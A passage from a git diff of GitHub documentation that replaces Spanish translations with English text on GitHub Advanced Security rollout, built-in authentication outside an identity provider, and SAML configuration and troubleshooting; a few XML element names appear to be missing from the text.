preventing the accumulation of security debt. + - **Increasing remediation rates:** This can be accomplished by driving developer adoption of findings and ensuring these vulnerabilities are remediated in a timely manner, preventing the accumulation of security debt. - **Meeting compliance requirements:** This can be as simple as creating new compliance requirements or something more specific. We find many healthcare companies use GHAS to prevent the exposure of PHI (Personal Health Information). - **Preventing secrets leakage:** This is often a goal of companies that have had (or want to prevent) critical information leaked such as software keys, customer or financial data, etc. - - **Dependency management:** This is often a goal for companies that may have fallen victim due to hacks from unpatched dependencies, or those seeking to prevent these types of attacks by updating vulnerable dependencies. + - **Dependency management:** This is often a goal for companies that may have fallen victim due to hacks from unpatched dependencies, or those seeking to prevent these types of attacks by updating vulnerable dependencies. ### {% octicon "checklist" aria-label="The checklist icon" %} Establish clear communication and alignment between your teams @@ -98,7 +100,7 @@ Before GHAS is rolled out to your teams, there should be clear alignment on how Many companies lead their GHAS rollout efforts with their security group. Often, development teams aren’t included in the rollout process until the pilot has concluded. However, we’ve found that companies that lead their rollouts with both their security and development teams tend to have more success with their GHAS rollout. -¿Por què? GHAS takes a developer-centered approach to software security by integrating seamlessly into the developer workflow. Not having key representation from your development group early in the process increases the risk of your rollout and creates an uphill path towards organizational buy-in. +Why? GHAS takes a developer-centered approach to software security by integrating seamlessly into the developer workflow. Not having key representation from your development group early in the process increases the risk of your rollout and creates an uphill path towards organizational buy-in. When development groups are involved earlier (ideally from purchase), security and development groups can achieve alignment early in the process. This helps to remove silos between the two groups, builds and strengthens their working relationships, and helps shift the groups away from a common mentality of “throwing things over the wall.” All of these things help support the overall goal to help companies shift and begin utilizing GHAS to address security concerns earlier in the development process. @@ -109,10 +111,10 @@ We recommend a few key roles to have on your team to ensure that your groups are We highly recommend your rollout team include these roles: - **Executive Sponsor:** This is often the CISO, CIO, VP of Security, or VP of Engineering. - **Technical Security Lead:** The technical security lead provides technical support on behalf of the security team throughout the implementation process. -- **Technical Development Lead:** The technical development lead provides technical support and will likely lead the implementation effort with the development team. +- **Technical Development Lead:** The technical development lead provides technical support and will likely lead the implementation effort with the development team. We also recommend your rollout team include these roles: -- **Project Manager:** We’ve found that the earlier a project manager can be introduced into the rollout process the higher the likelihood of success. +- **Project Manager:** We’ve found that the earlier a project manager can be introduced into the rollout process the higher the likelihood of success. - **Quality Assurance Engineer:** Including a member of your company’s Quality Assurance team helps ensure process changes are taken into account for the QA team. ### {% octicon "checklist" aria-label="The checklist icon" %} Understand key GHAS facts to prevent common misconceptions @@ -150,7 +152,7 @@ However, if your company is interested in writing custom {% data variables.produ {% endnote %} -When your company is ready, our Customer Success team can help you navigate the requirements that need to be met and can help ensure your company has good use cases for custom queries. +When your company is ready, our Customer Success team can help you navigate the requirements that need to be met and can help ensure your company has good use cases for custom queries. #### Fact 5: {% data variables.product.prodname_codeql %} scans the whole code base, not just the changes made in a pull request. @@ -160,7 +162,7 @@ When code scanning is run from a pull request, the scan will include the full co Now that you have a better understanding of some of the keys to a successful GHAS rollout and implementation, here are some examples of how our customers made their rollouts successful. Even if your company is in a different place, {% data variables.product.prodname_dotcom %} can help you with building a customized path that suits the needs of your rollout. -### Example rollout for a mid-sized healthcare technology company +### Example rollout for a mid-sized healthcare technology company A mid-sized healthcare technology company based out of San Francisco completed a successful GHAS rollout process. While they may not have had a large number of repositories that needed to be enabled, this company’s keys to success included having a well-organized and aligned team for the rollout, with a clearly established key contact to work with {% data variables.product.prodname_dotcom %} to troubleshoot any issues during the process. This allowed them to complete their rollout within two months. @@ -192,11 +194,11 @@ There are a few different paths that can be taken for your GHAS installation bas It’s important that you’re utilizing a version of {% data variables.product.prodname_ghe_server %} (GHES) that will support your company’s needs. -If you’re using an earlier version of GHES (prior to 3.0) and would like to upgrade, there are some requirements that you’ll need to meet before moving forward with the upgrade. Para obtener más información, consulta: +If you’re using an earlier version of GHES (prior to 3.0) and would like to upgrade, there are some requirements that you’ll need to meet before moving forward with the upgrade. For more information, see: - "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise-server@2.22/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)" - "[Upgrade requirements](/enterprise-server@2.20/admin/enterprise-management/upgrade-requirements)" -If you’re using a third-party CI/CD system and want to use {% data variables.product.prodname_code_scanning %}, make sure you have downloaded the {% data variables.product.prodname_codeql_cli %}. Para obtener más información, consulta la sección "[Acerca del escaneo de código de CodeQL en tu sistema de IC](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." +If you’re using a third-party CI/CD system and want to use {% data variables.product.prodname_code_scanning %}, make sure you have downloaded the {% data variables.product.prodname_codeql_cli %}. For more information, see "[About CodeQL code scanning in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." If you're working with {% data variables.product.prodname_professional_services %} for your GHAS rollout, please be prepared to discuss these items at length in your kickoff meeting. diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md index 6fbd571516..75efc128d4 100644 --- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md +++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md @@ -1,6 +1,6 @@ --- -title: Permitir autenticación integrada para usuarios fuera de tu proveedor de identidad -intro: 'Puedes configurar una autenticación integrada para autenticar usuarios que no tienen acceso a tu proveedor de identidad que usa LDAP, SAML o CAS.' +title: Allowing built-in authentication for users outside your identity provider +intro: 'You can configure built-in authentication to authenticate users who don''t have access to your identity provider that uses LDAP, SAML, or CAS.' redirect_from: - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider @@ -13,46 +13,47 @@ topics: - Authentication - Enterprise - Identity -shortTitle: Autenticación fuera del IdP +shortTitle: Authentication outside IdP --- +## About built-in authentication for users outside your identity provider -## Acerca de la autenticación integrada para usuarios fuera de tu proveedor de identidad +You can use built-in authentication for outside users when you are unable to add specific accounts to your identity provider (IdP), such as accounts for contractors or machine users. You can also use built-in authentication to access a fallback account if the identity provider is unavailable. -Puedes utilizar la autenticación integrada para usuarios externos cuando no puedes agregar cuentas específicas a tu proveedor de identidad (IdP), como cuentas para contratistas o usuarios de equipos. También puedes usar la autenticación integrada para acceder a una cuenta de reserva si el proveedor de identidad no está disponible. +After built-in authentication is configured and a user successfully authenticates with SAML or CAS, they will no longer have the option to authenticate with a username and password. If a user successfully authenticates with LDAP, the credentials are no longer considered internal. -Una vez que se configura la autenticación integrada y un usuario autentica exitosamente con SAML o CAS, ya no tendrá la opción de autenticar con un nombre de usuario y una contraseña. Si un usuario autentica exitosamente con LDAP, las credenciales ya no se consideran internas. - -La autenticación integrada para un IdP se desactiva por defecto. +Built-in authentication for a specific IdP is disabled by default. {% warning %} -**Advertencia:** Si desactivas la autenticación integrada, debes suspender individualmente a todo usuario que ya no debe tener acceso a la instancia. Para obtener más información, consulta [Suspender y anular suspensión de usuarios](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)." +**Warning:** If you disable built-in authentication, you must individually suspend any users that should no longer have access to the instance. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)." {% endwarning %} -## Configurar autenticación integrada para usuarios fuera de tu proveedor de identidad +## Configuring built-in authentication for users outside your identity provider {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} -4. Selecciona tu proveedor de identidad. ![Seleccionar la opción proveedor de identidad](/assets/images/enterprise/management-console/identity-provider-select.gif) -5. Selecciona **Permitir la creación de cuentas con autenticación integrada**. ![Seleccionar la opción autenticación integrada](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) -6. Lee la advertencia, luego haz clic en **Aceptar**. +4. Select your identity provider. + ![Select identity provider option](/assets/images/enterprise/management-console/identity-provider-select.gif) +5. Select **Allow creation of accounts with built-in authentication**. + ![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) +6. Read the warning, then click **Ok**. {% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.2fa_is_available %} -## Invitar a usuarios fuera de tu proveedor de identidad a autenticar tu instancia +## Inviting users outside your identity provider to authenticate to your instance -Cuando un usuario acepta la invitación, puede utilizar su nombre de usuario y contraseña para iniciar sesión en lugar de iniciar sesión a través del IdP. +When a user accepts the invitation, they can use their username and password to sign in rather than signing in through the IdP. {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} {% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} -## Leer más +## Further reading -- "[Usar LDAP](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap)" -- "[Usar SAML](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml)" -- "[Usar CAS](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas)" +- "[Using LDAP](/enterprise/admin/authentication/using-ldap)" +- "[Using SAML](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml)" +- "[Using CAS](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas)" diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md index 84159a0014..b7f582ffcb 100644 --- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md +++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md @@ -1,12 +1,12 @@ --- -title: Usar SAML +title: Using SAML redirect_from: - /enterprise/admin/articles/configuring-saml-authentication/ - /enterprise/admin/articles/about-saml-authentication/ - /enterprise/admin/user-management/using-saml - /enterprise/admin/authentication/using-saml - /admin/authentication/using-saml -intro: 'SAML es un estándar basado en XML para autenticación y autorización. {% data variables.product.prodname_ghe_server %} puede actuar como un proveedor de servicios (SP) con tu proveedor de identidad (IdP) SAML interno.' +intro: 'SAML is an XML-based standard for authentication and authorization. {% data variables.product.prodname_ghe_server %} can act as a service provider (SP) with your internal SAML identity provider (IdP).' versions: ghes: '*' type: how_to @@ -17,31 +17,30 @@ topics: - Identity - SSO --- - {% data reusables.enterprise_user_management.built-in-authentication %} -## Servicios SAML admitidos +## Supported SAML services {% data reusables.saml.saml-supported-idps %} {% data reusables.saml.saml-single-logout-not-supported %} -## Consideraciones sobre el nombre de usuario con SAML +## Username considerations with SAML -Cada nombre de usuario {% data variables.product.prodname_ghe_server %} lo determina una de las siguientes aserciones en la respuesta SAML, ordenadas por prioridad: +Each {% data variables.product.prodname_ghe_server %} username is determined by one of the following assertions in the SAML response, ordered by priority: -- El atributo de nombre de usuario personalizado, si está definido y si hay uno. -- Una aserción `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name`, si hay una. -- Una aserción `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, si hay una. -- El elemento `NameID`. +- The custom username attribute, if defined and present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present +- The `NameID` element -Se requiere el elemento `NameID`, incluso si hay otros atributos. +The `NameID` element is required even if other attributes are present. -Se crea un mapeo entre la `NameID` y el nombre de usuario de {% data variables.product.prodname_ghe_server %}, para que la `NameID` deba ser persistente, única, y no estar sujeta a cambios para el ciclo de vida del usuario. +A mapping is created between the `NameID` and the {% data variables.product.prodname_ghe_server %} username, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user. {% note %} -**Nota**: Si la `NameID` de un usuario sí cambia en el IdP, el usuario verá un mensaje de error cuando intente ingresar en tu instancia de {% data variables.product.prodname_ghe_server %}. {% ifversion ghes %}Para restablecer el acceso del usuario, necesitarás actualizar el mapeo de la `NameID` de la cuenta del usuario. Para obtener más información, consulta la sección "[Actualizar la `NameID`](#updating-a-users-saml-nameid) de SAML de un usuario.{% else %} Para obtener más información, consulta "[Error: 'Another user already owns the account'](#error-another-user-already-owns-the-account)".{% endif %} +**Note**: If the `NameID` for a user does change on the IdP, the user will see an error message when they try to sign in to your {% data variables.product.prodname_ghe_server %} instance. {% ifversion ghes %}To restore the user's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %} For more information, see "[Error: 'Another user already owns the account'](#error-another-user-already-owns-the-account)."{% endif %} {% endnote %} @@ -52,75 +51,88 @@ Se crea un mapeo entre la `NameID` y el nombre de usuario de {% data variables.p {% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.external_auth_disables_2fa %} -## Metadatos SAML +## SAML metadata -Los metadatos del provedor de servicios de tu instancia de {% data variables.product.prodname_ghe_server %} se encuentran disponibles en `http(s)://[hostname]/saml/metadata`. +Your {% data variables.product.prodname_ghe_server %} instance's service provider metadata is available at `http(s)://[hostname]/saml/metadata`. -Para configurar tu proveedor de identidad de forma manual, la URL del Servicio de consumidor de aserciones (ACS) es `http(s)://[hostname]/saml/consume`. Esta usa el enlace `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST`. +To configure your identity provider manually, the Assertion Consumer Service (ACS) URL is `http(s)://[hostname]/saml/consume`. It uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. -## Atributos de SAML +## SAML attributes -Estos atributos están disponibles. Puedes modificar el nombre del atributo en [Consola de administración](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/), a excepción del atributo `administrator`. +These attributes are available. You can change the attribute names in the [management console](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/), with the exception of the `administrator` attribute. -| Nombre de atributo predeterminado | Type | Descripción | -| --------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `ID del nombre` | Requerido | Un identificador de usuario persistente. Se puede usar cualquier formato de identificador de nombre persistente. El elemento `NameID` se usará para un nombre de usuario {% data variables.product.prodname_ghe_server %}, a menos que se proporcione una de las aserciones alternativas. | -| `administrador` | Opcional | Cuando el valor es "true", el usuario será promovido automáticamente como un administrador. Cualquier otro valor o un valor no existente degradará al usuario a una cuenta de usuario normal. | -| `nombre de usuario` | Opcional | El nombre de usuario {% data variables.product.prodname_ghe_server %}. | -| `nombre_completo` | Opcional | El nombre del usuario que se muestra en su página de perfil. Los usuarios pueden cambiar sus nombres después del aprovisionamiento. | -| `emails` | Opcional | Las direcciones de correo electrónico para el usuario. Se puede especificar más de una. | -| `claves_públicas` | Opcional | Las claves SSH públicas para el usuario. Se puede especificar más de una. | -| `gpg_keys` | Opcional | Las claves GPG para el usuario. Se puede especificar más de una. | +| Default attribute name | Type | Description | +|-----------------|----------|-------------| +| `NameID` | Required | A persistent user identifier. Any persistent name identifier format may be used. The `NameID` element will be used for a {% data variables.product.prodname_ghe_server %} username unless one of the alternative assertions is provided. | +| `administrator` | Optional | When the value is 'true', the user will automatically be promoted as an administrator. Any other value or a non-existent value will demote the user to a normal user account. | +| `username` | Optional | The {% data variables.product.prodname_ghe_server %} username. | +| `full_name` | Optional | The name of the user displayed on their profile page. Users may change their names after provisioning. | +| `emails` | Optional | The email addresses for the user. More than one can be specified. | +| `public_keys` | Optional | The public SSH keys for the user. More than one can be specified. | +| `gpg_keys` | Optional | The GPG keys for the user. More than one can be specified. | -## Configurar parámetros SAML +## Configuring SAML settings {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} -3. Selecciona **SAML**. ![Autenticación SAML](/assets/images/enterprise/management-console/auth-select-saml.png) -4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Seleccionar la casilla de verificación Autenticación integrada SAML](/assets/images/enterprise/management-console/saml-built-in-authentication.png) -5. Opcionalmente, para activar el SSO de respuesta no solicitada, selecciona **IdP initiated SSO**. Por defecto, {% data variables.product.prodname_ghe_server %} responderá a una solicitud iniciada por un proveedor de identidad (IdP) no solicitada con una `AuthnRequest` de vuelta al IdP. ![SSO del IdP SAML](/assets/images/enterprise/management-console/saml-idp-sso.png) +3. Select **SAML**. +![SAML authentication](/assets/images/enterprise/management-console/auth-select-saml.png) +4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select SAML built-in authentication checkbox](/assets/images/enterprise/management-console/saml-built-in-authentication.png) +5. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP. +![SAML idP SSO](/assets/images/enterprise/management-console/saml-idp-sso.png) {% tip %} - **Nota**: Te recomendamos mantener este valor **sin seleccionar**. Debes activar esta función **solo** en el caso inusual que tu implementación SAML no admita el SSO iniciado del proveedor de servicios y que {% data variables.contact.enterprise_support %} lo aconseje. + **Note**: We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}. {% endtip %} -5. Selecciona **Disable administrator demotion/promotion (Desactivar la degradación/promoción del administrador)** si **no** quieres que tu proveedor de SAML determine los derechos del administrador para los usuarios en {% data variables.product.product_location %}. ![Configuración de inhabilitar administrador de SAML](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) -6. En el campo **URL de inicio de sesión único**, escribe la HTTP o el extremo HTTPS en tu IdP para las solicitudes de inicio de sesión único. Este valor lo provee la configuración de tu IdP. Si el host solo está disponible desde tu red interna, es posible que sea necesario [configurar {% data variables.product.product_location %} para usar los servidores de nombres internos](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/). ![Autenticación SAML](/assets/images/enterprise/management-console/saml-single-sign-url.png) -7. También puedes escribir tu nombre de emisor de SAML en el campo **Emisor**. Esto verifica la autenticidad de los mensajes enviados a {% data variables.product.product_location %}. ![Emisor SAML](/assets/images/enterprise/management-console/saml-issuer.png) -8. En los menúes desplegables **Método de firma** y **Método de resumen**, elige el algoritmo de hash que usa tu emisor SAML para verificar la integridad de las respuestas desde {% data variables.product.product_location %}. Especifica el formato con el menú desplegable **Formato de identificador de nombre**. ![Método SAML](/assets/images/enterprise/management-console/saml-method.png) -9. Dentro de **Verification certificate (Certificado de comprobación)**, haz clic en **Choose File (Elegir archivo)** y elige un certificado para validar las respuestas SAML desde el IdP. ![Autenticación SAML](/assets/images/enterprise/management-console/saml-verification-cert.png) -10. Modifica los nombres de atributo de SAML para hacerlos coincidir con tu IdP, si es necesario, o acepta los nombres predeterminados. ![Nombres de atributo de SAML](/assets/images/enterprise/management-console/saml-attributes.png) +5. Select **Disable administrator demotion/promotion** if you **do not** want your SAML provider to determine administrator rights for users on {% data variables.product.product_location %}. +![SAML disable admin configuration](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) +6. In the **Single sign-on URL** field, type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.product.product_location %} to use internal nameservers](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/). +![SAML authentication](/assets/images/enterprise/management-console/saml-single-sign-url.png) +7. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.product.product_location %}. +![SAML issuer](/assets/images/enterprise/management-console/saml-issuer.png) +8. In the **Signature Method** and **Digest Method** drop-down menus, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.product.product_location %}. Specify the format with the **Name Identifier Format** drop-down menu. +![SAML method](/assets/images/enterprise/management-console/saml-method.png) +9. Under **Verification certificate**, click **Choose File** and choose a certificate to validate SAML responses from the IdP. +![SAML authentication](/assets/images/enterprise/management-console/saml-verification-cert.png) +10. Modify the SAML attribute names to match your IdP if needed, or accept the default names. + ![SAML attribute names](/assets/images/enterprise/management-console/saml-attributes.png) {% ifversion ghes %} -## Revocar acceso a {{ site.data.variables.product.product_location_enterprise }} +## Updating a user's SAML `NameID` {% data reusables.enterprise_site_admin_settings.access-settings %} -2. Selecciona **SAML**. ![Elemento de "Todos los usuarios" en la barra lateral en la configuración de administrador de sitio](/assets/images/enterprise/site-admin-settings/all-users.png) -3. En la lista de usuarios, da clic en el nombre de usuario del cual te gustaría actualizar el mapeo de la `NameID`. ![Nombre de usuario en la lista de cuentas de usuario de la instancia](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) +2. In the left sidebar, click **All users**. + !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png) +3. In the list of users, click the username you'd like to update the `NameID` mapping for. + ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) {% data reusables.enterprise_site_admin_settings.security-tab %} -5. Dentro de **Verification certificate (Certificado de comprobación)**, haz clic en **Choose File (Elegir archivo)** y elige un certificado para validar las respuestas SAML desde el IdP. ![Botón de "Editar" debajo de "Autenticación de SAML" y a la derecha de "Actualizar la NameID de SAML"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) -6. En el campo de "NameID", teclea la `NameID` nueva para el usuario. ![Campo de "NameID" en diálogo modal con el valor de NameID ingresado](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) -7. Da clic en **Actualizar NameID**. ![Botón de "Actualizar NameID" debajo del valor actualizado de la NameID dentro del modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) +5. To the right of "Update SAML NameID", click **Edit** . + !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) +6. In the "NameID" field, type the new `NameID` for the user. + !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) +7. Click **Update NameID**. + !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) {% endif %} -## Revocar acceso a {% data variables.product.product_location %} +## Revoking access to {% data variables.product.product_location %} -Si eliminas un usuario desde tu proveedor de identidad, también debes suspenderlos de forma manual. De lo contrario, seguirán estando disponibles para autenticarse usando los tokens de acceso o las claves SSH. Para obtener más información, consulta "[Suspender y anular suspensión de usuarios](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)". +If you remove a user from your identity provider, you must also manually suspend them. Otherwise, they'll continue to be able to authenticate using access tokens or SSH keys. For more information, see "[Suspending and unsuspending users](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)". -## Requisitos para los mensajes de respuesta +## Response message requirements -El mensaje de respuesta debe cumplir con los siguientes requisitos: +The response message must fulfill the following requirements: -- Se debe proporcionar el elemento `` en el documento de respuesta raíz y empatar la URL ACS únicamente cuando dicho documento se firme. Si la aserción está firmada, ésta se ignorará. -- Siempre deberá proporcionarse el elemento `` como parte del elemento ``. Siempre deberá proporcionarse el elemento `` como parte del elemento ``. Ésta es la URL para la instancia de {% data variables.product.prodname_ghe_server %}, tal como `https://ghe.corp.example.com`. -- Cada aserción en la respuesta **debe** estar protegida por una firma digital. Esto se puede lograr firmando cada elemento `` individual o firmando el elemento ``. -- Un elemento `` se debe proporcionar como parte del elemento ``. Se puede usar cualquier formato de identificador de nombre persistente. -- El atributo `Recipient` debe estar presente y establecido en la URL ACS. Por ejemplo: +- The `` element must be provided on the root response document and match the ACS URL only when the root response document is signed. If the assertion is signed, it will be ignored. +- The `` element must always be provided as part of the `` element. It must match the `EntityId` for {% data variables.product.prodname_ghe_server %}. This is the URL to the {% data variables.product.prodname_ghe_server %} instance, such as `https://ghe.corp.example.com`. +- Each assertion in the response **must** be protected by a digital signature. This can be accomplished by signing each individual `` element or by signing the `` element. +- A `` element must be provided as part of the `` element. Any persistent name identifier format may be used. +- The `Recipient` attribute must be present and set to the ACS URL. For example: ```xml @@ -140,50 +152,50 @@ El mensaje de respuesta debe cumplir con los siguientes requisitos: ``` -## Autenticación SAML +## Troubleshooting SAML authentication -de entidad del {% data variables.product.prodname_ghe_server %}, se presentará el siguiente mensaje de error en el registro de autenticación: Para obtener más información sobre los requisitos de respuesta de SAML, consulta la sección "[Requisitos de mensaje de respuesta](#response-message-requirements)". +{% data variables.product.prodname_ghe_server %} logs error messages for failed SAML authentication in the authentication log at _/var/log/github/auth.log_. For more information about SAML response requirements, see "[Response message requirements](#response-message-requirements)." ### Error: "Another user already owns the account" -Cuando un usuario ingresa en {% data variables.product.prodname_ghe_server %} por primera vez con la autenticación de SAML, {% data variables.product.prodname_ghe_server %} crea una cuenta de usuario en la instancia y mapea la `NameID` de SAML hacia la cuenta. +When a user signs in to {% data variables.product.prodname_ghe_server %} for the first time with SAML authentication, {% data variables.product.prodname_ghe_server %} creates a user account on the instance and maps the SAML `NameID` to the account. -Cuando el usuario vuelve a ingresar, {% data variables.product.prodname_ghe_server %} compara el mapeo de la `NameID` de la cuenta con la respuesta del IdP. Si la `NameID` en la respuesta del IdP ya no empata con la `NameID` que {% data variables.product.prodname_ghe_server %} espera para el usuario, el inicio de sesión fallará. El usuario verá el siguiente mensaje. +When the user signs in again, {% data variables.product.prodname_ghe_server %} compares the account's `NameID` mapping to the IdP's response. If the `NameID` in the IdP's response no longer matches the `NameID` that {% data variables.product.prodname_ghe_server %} expects for the user, the sign-in will fail. The user will see the following message. > Another user already owns the account. Please have your administrator check the authentication log. -Este mensaje habitualmente indica que el nombre de usuario o dirección de correo electrónico cambió en el IdP. {% ifversion ghes %}Asegúrate de que el mapeo de la `NameID` para la cuenta de usuario en {% data variables.product.prodname_ghe_server %} empate con la `NameID` en tu IdP. Para obtener más información, consulta la sección "[Actualizar la `NameID` de SAML de un usuario](#updating-a-users-saml-nameid)".{% else %}Para encontrar ayuda para actualizar el mapeo de la `NameID`, contacta a {% data variables.contact.contact_ent_support %}.{% endif %} +The message typically indicates that the person's username or email address has changed on the IdP. {% ifversion ghes %}Ensure that the `NameID` mapping for the user account on {% data variables.product.prodname_ghe_server %} matches the user's `NameID` on your IdP. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %}For help updating the `NameID` mapping, contact {% data variables.contact.contact_ent_support %}.{% endif %} -### Si la respuesta SAML no está firmada o la firma no coincide con los contenidos, se presentará el siguiente mensaje de error en el registro de autenticación: +### Error: Recipient in SAML response was blank or not valid -Si el `Recipient` no coincide con la URL ACS, se presentará el siguiente mensaje de error en el registro de autenticación: +If the `Recipient` does not match the ACS URL for your {% data variables.product.prodname_ghe_server %} instance, one of the following two error messages will appear in the authentication log when a user attempts to authenticate. ``` -El destinatario en la respuesta SAML no debe estar en blanco. +Recipient in the SAML response must not be blank. ``` ``` -El destinatario en la respuesta SAML no era válido. +Recipient in the SAML response was not valid. ``` -Asegúrate de que configuraste el valor para `Recipient` en tu IdP como la URL de ACS completa para tu instancia de {% data variables.product.prodname_ghe_server %}. Por ejemplo, `https://ghe.corp.example.com/saml/consume`. +Ensure that you set the value for `Recipient` on your IdP to the full ACS URL for your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com/saml/consume`. ### Error: "SAML Response is not signed or has been modified" -Si tu IdP no firma la respuesta de SAML, o si la firma no empata con el contenido, se mostrará el siguiente mensaje de error en la bitácora de autenticación. +If your IdP does not sign the SAML response, or the signature does not match the contents, the following error message will appear in the authentication log. ``` SAML Response is not signed or has been modified. ``` -Asegúrate de haber configurado aserciones firmadas para la aplicación de {% data variables.product.prodname_ghe_server %} en tu IdP. +Ensure that you configure signed assertions for the {% data variables.product.prodname_ghe_server %} application on your IdP. ### Error: "Audience is invalid" or "No assertion found" -Si la respuesta del IdP carece o tiene un valor incorrecto para `Audience`, se mostrará el siguiente mensaje de error en la bitácora de autenticación. +If the IdP's response has a missing or incorrect value for `Audience`, the following error message will appear in the authentication log. ```shell -La audiencia es no válida. Audience attribute does not match https://YOUR-INSTANCE-URL +Audience is invalid. Audience attribute does not match https://YOUR-INSTANCE-URL ``` -Asegúrate de haber configurado el valor para `Audience` en tu IdP como la `EntityId` para tu instancia de {% data variables.product.prodname_ghe_server %}, la cual es la URL completa para tu instancia de {% data variables.product.prodname_ghe_server %}. Por ejemplo, `https://ghe.corp.example.com`. +Ensure that you set the value for `Audience` on your IdP to the `EntityId` for your {% data variables.product.prodname_ghe_server %} instance, which is the full URL to your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com`. diff --git a/translations/es-ES/content/admin/authentication/index.md b/translations/es-ES/content/admin/authentication/index.md index 4712b179f3..9bf5857a68 100644 --- a/translations/es-ES/content/admin/authentication/index.md +++ b/translations/es-ES/content/admin/authentication/index.md @@ -1,5 +1,5 @@ --- -title: Autenticación +title: Authentication intro: You can configure how users access your enterprise. redirect_from: - /enterprise/admin/authentication diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md index d4b85d87c4..e6e4dd2328 100644 